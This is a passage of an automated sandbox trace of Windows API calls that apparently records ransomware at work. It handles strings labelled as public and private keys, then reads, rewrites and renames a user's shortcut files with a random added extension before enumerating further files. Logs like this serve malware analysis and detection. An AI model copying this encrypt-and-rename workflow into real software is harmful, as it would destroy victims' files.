lRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0079.991] GetCurrentThreadId () returned 0xa30 [0079.991] GetCurrentThreadId () returned 0xa30 [0079.991] GetCurrentThreadId () returned 0xa30 [0079.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0079.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0079.992] GetCurrentThreadId () returned 0xa30 [0079.992] GetCurrentThreadId () returned 0xa30 [0079.992] GetCurrentThreadId () returned 0xa30 [0079.992] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AWMp7.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\awmp7.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.993] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0079.993] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.993] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x3d5 [0079.993] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.993] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x3d5, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x3d5, lpOverlapped=0x0) returned 1 [0079.995] CloseHandle (hObject=0x124) returned 1 [0079.995] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AWMp7.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\awmp7.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.996] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x3d5, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x3d5, lpOverlapped=0x0) returned 1 [0079.998] CloseHandle (hObject=0x124) returned 1 [0080.008] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AWMp7.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\awmp7.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AWMp7.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\awmp7.lnk.zv7un")) returned 1 [0080.009] GetCurrentThreadId () returned 0xa30 [0080.010] GetCurrentThreadId () returned 0xa30 [0080.010] GetCurrentThreadId () returned 0xa30 [0080.010] GetCurrentThreadId () returned 0xa30 [0080.010] GetCurrentThreadId () returned 0xa30 [0080.010] GetCurrentThreadId () returned 0xa30 [0080.010] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe389e040, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe389e040, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe389e040, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="BbAbN3g2HP.mkv.lnk", cAlternateFileName="BBABN3~1.LNK")) returned 1 [0080.010] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0080.010] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0080.010] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BbAbN3g2HP.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bbabn3g2hp.mkv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe389e040, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe389e040, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe389e040, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x243)) returned 1 [0080.010] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BbAbN3g2HP.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bbabn3g2hp.mkv.lnk")) returned 0x20 [0080.010] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BbAbN3g2HP.mkv.lnk", dwFileAttributes=0x80) returned 1 [0080.013] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0080.013] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0080.014] GetCurrentThreadId () returned 0xa30 [0080.014] GetCurrentThreadId () returned 0xa30 [0080.014] GetCurrentThreadId () returned 0xa30 [0080.015] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0080.015] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 